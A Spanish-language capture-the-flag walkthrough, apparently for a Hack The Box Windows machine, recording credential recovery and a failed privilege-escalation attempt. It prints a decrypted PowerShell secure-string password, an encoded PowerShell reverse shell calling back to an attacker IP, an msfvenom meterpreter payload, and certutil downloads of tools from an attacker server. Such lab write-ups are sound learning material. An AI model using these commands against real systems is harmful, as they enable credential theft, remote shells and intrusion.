d-r---        10/26/2023   5:02 PM                Pictures
d-r---        10/26/2023   5:02 PM                Saved Games
d-r---        10/26/2023   5:02 PM                Searches
d-r---        10/26/2023   5:02 PM                Videos
-a----         4/16/2024   3:45 AM           1054 pass.txt

#Guardamos la pass en un fichero.
echo
"01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e776
27255768e65ae76e179107379a964fa8ff156cee21000000000e80000000020000200000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000
a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88
fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" > pass.txt

#Crearemos la variable, para desencryptar la “secure string”  con el usuario indicado.
PS C:\Users\sfitz> $EncryptedString = Get-Content .\pass.txt
PS C:\Users\sfitz> $SecureString = ConvertTo-SecureString $EncryptedString
PS C:\Users\sfitz> $Credential = New-Object System.Management.Automation.PSCredential -ArgumentList "alaading",$SecureString
PS C:\Users\sfitz> echo $Credential.GetNetworkCredential().password
f8gQ8fynP44ek1m3


#Ya tendremos las credenciales
alaading:f8gQ8fynP44ek1m3
```

#Generamos otro rev_sell

```
PS C:\Users\sfitz> $username = 'alaading'
$password = 'f8gQ8fynP44ek1m3'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object Automation.PSCredential($username, $securePassword)
PS C:\Users\sfitz> Invoke-Command -ComputerName localHost -Credential $credential -ScriptBlock{powershell -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoA-
CIAMQAwAC4AMQAwAC4AMQA2AC4AMQA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACk-
AOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBh-
AG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIA-
AoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcA-
ZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfA-
AgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAA-
pAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgB-
HAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUA-
bgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==}
```

#Obtenemos la conexión con el usuario “alaading”.

```
rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.251] 49715
whoami
pov\alaading
```

PRIV_escalation

#Si escribimos “whoami/priv”, podemos ver un script que tiene privilegios desactivados. (sedebugPrivilegePoC)
#Para habilitar estos permisos, nos dirigimos al directorio y ejecutamos el script.

```
PS C:\Users\alaading\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

#Para escalar privilegios, necesitaremos 3 herramientas.
-RunasCs.exe (https://github.com/antonioCoco/RunasCs/releases/tag/v1.5)
-psgetsys.ps1 (https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
-EnableAllTokenPrivs.ps1 (https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1)

#Copiamos esos en la máquina víctima.
#Tambíen podemos crear un rev_shell con msfconsole

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.17 LPORT=5555 -f exe -o payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: payload.exe
```

#En la máquina víctima, importamos RunasCS y el rev_shell:

```
PS C:\Users\alaading\Documents> certutil -urlcache -f http://10.10.16.17/RunasCs.exe RunasCs.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

PS C:\Users\alaading\Documents> certutil -urlcache -f http://10.10.16.17/payload.exe payload.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.251 - - [20/Apr/2024 15:59:04] "GET /exploit.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 15:59:05] "GET /exploit.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:22:14] "GET /exploit.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:22:15] "GET /exploit.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:24:59] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:25:01] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:57:46] "GET /7676.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:57:52] "GET /7676.exe HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:58:34] "GET /EnableAllTokenPrivs.ps1 HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 16:58:37] "GET /EnableAllTokenPrivs.ps1 HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 17:10:05] "GET /psgetsys.ps1 HTTP/1.1" 200 -
10.10.11.251 - - [20/Apr/2024 17:10:11] "GET /psgetsys.ps1 HTTP/1.1" 200 -


PS C:\Users\Administrator> type C:\Users\Administrator\Desktop\root.txt
PS C:\Users\Administrator> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Get-Process winlogon

Get-Process winlogon

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName

-------  ------    -----      -----     ------     --  -- -----------
    255      12     2652      16068                544   1 winlogon
```

~~~~~~

NO HEMOS CONSEGUIDO LA FLAG DE ROOT

~~~~~~
